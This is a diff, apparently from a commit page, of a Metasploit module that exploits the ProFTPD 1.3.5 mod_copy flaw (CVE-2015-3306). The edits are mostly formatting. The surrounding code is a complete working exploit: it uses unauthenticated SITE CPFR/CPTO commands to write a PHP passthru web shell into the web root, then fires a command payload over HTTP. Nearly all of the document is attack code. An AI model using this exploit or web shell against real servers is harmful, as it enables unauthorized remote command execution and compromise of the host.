@@ -32,7 +32,7 @@ def initialize(info = {})
32
32
'References' =>
33
33
[
34
34
[ 'CVE' , '2015-3306' ] ,
35
- [ 'EDB' , '36742' ] ,
35
+ [ 'EDB' , '36742' ]
36
36
] ,
37
37
'Privileged' => false ,
38
38
'Platform' => [ 'unix' ] ,
@@ -43,12 +43,12 @@ def initialize(info = {})
43
43
'Compat' =>
44
44
{
45
45
'PayloadType' => 'cmd' ,
46
- 'RequiredCmd' => 'generic gawk bash python perl' ,
46
+ 'RequiredCmd' => 'generic gawk bash python perl'
47
47
}
48
48
} ,
49
49
'Targets' =>
50
50
[
51
- [ 'ProFTPD 1.3.5' , { } ] ,
51
+ [ 'ProFTPD 1.3.5' , { } ]
52
52
] ,
53
53
'DisclosureDate' => 'Apr 22 2015' ,
54
54
'DefaultTarget' => 0 ) )
@@ -57,9 +57,9 @@ def initialize(info = {})
57
57
[
58
58
OptPort . new ( 'RPORT' , [ true , 'HTTP port' , 80 ] ) ,
59
59
OptPort . new ( 'RPORT_FTP' , [ true , 'FTP port' , 21 ] ) ,
60
+ OptString . new ( 'TARGETURI' , [ true , 'Base path to the website' , '/' ] ) ,
60
61
OptString . new ( 'TMPPATH' , [ true , 'Absolute writable path' , '/tmp' ] ) ,
61
- OptString . new ( 'SITEPATH' , [ true , 'Absolute writable website path' , '/var/www' ] ) ,
62
- OptString . new ( 'TARGETURI' , [ true , 'Base path to the website' , '/' ] )
62
+ OptString . new ( 'SITEPATH' , [ true , 'Absolute writable website path' , '/var/www' ] )
63
63
] , self . class )
64
64
end
65
65
@@ -73,13 +73,13 @@ def check
73
73
print_status ( "#{ rhost } :#{ ftp_port } - Connected to FTP server" )
74
74
end
75
75
76
- res = sock . get_once ( -1 , 10 )
76
+ res = sock . get_once ( -1 , 10 )
77
77
unless res && res . include? ( '220' )
78
78
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure retrieving ProFTPD 220 OK banner" )
79
79
end
80
80
81
81
sock . puts ( "SITE CPFR /etc/passwd\r \n " )
82
- res = sock . get_once ( -1 , 10 )
82
+ res = sock . get_once ( -1 , 10 )
83
83
if res && res . include? ( '350' )
84
84
Exploit ::CheckCode ::Vulnerable
85
85
else
@@ -100,33 +100,33 @@ def exploit
100
100
print_status ( "#{ rhost } :#{ ftp_port } - Connected to FTP server" )
101
101
end
102
102
103
- res = sock . get_once ( -1 , 10 )
103
+ res = sock . get_once ( -1 , 10 )
104
104
unless res && res . include? ( '220' )
105
105
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure retrieving ProFTPD 220 OK banner" )
106
106
end
107
107
108
108
print_status ( "#{ rhost } :#{ ftp_port } - Sending copy commands to FTP server" )
109
109
110
110
sock . puts ( "SITE CPFR /proc/self/cmdline\r \n " )
111
- res = sock . get_once ( -1 , 10 )
111
+ res = sock . get_once ( -1 , 10 )
112
112
unless res && res . include? ( '350' )
113
113
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying from /proc/self/cmdline" )
114
114
end
115
115
116
116
sock . put ( "SITE CPTO #{ datastore [ 'TMPPATH' ] } /.<?php passthru($_GET[\' #{ get_arg } \' ]);?>\r \n " )
117
- res = sock . get_once ( -1 , 10 )
117
+ res = sock . get_once ( -1 , 10 )
118
118
unless res && res . include? ( '250' )
119
119
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying to temporary payload file" )
120
120
end
121
121
122
122
sock . put ( "SITE CPFR #{ datastore [ 'TMPPATH' ] } /.<?php passthru($_GET[\' #{ get_arg } \' ]);?>\r \n " )
123
- res = sock . get_once ( -1 , 10 )
123
+ res = sock . get_once ( -1 , 10 )
124
124
unless res && res . include? ( '350' )
125
125
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying from temporary payload file" )
126
126
end
127
127
128
128
sock . put ( "SITE CPTO #{ datastore [ 'SITEPATH' ] } /#{ payload_name } \r \n " )
129
- res = sock . get_once ( -1 , 10 )
129
+ res = sock . get_once ( -1 , 10 )
130
130
unless res && res . include? ( '250' )
131
131
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying PHP payload to website path, directory not writable?" )
132
132
end
@@ -137,7 +137,7 @@ def exploit
137
137
res = send_request_cgi! (
138
138
'uri' => normalize_uri ( target_uri . path , payload_name ) ,
139
139
'method' => 'GET' ,
140
- 'vars_get' => { get_arg => "nohup #{ payload . encoded } &" } ,
140
+ 'vars_get' => { get_arg => "nohup #{ payload . encoded } &" }
141
141
)
142
142
143
143
unless res && res . code == 200
0 commit comments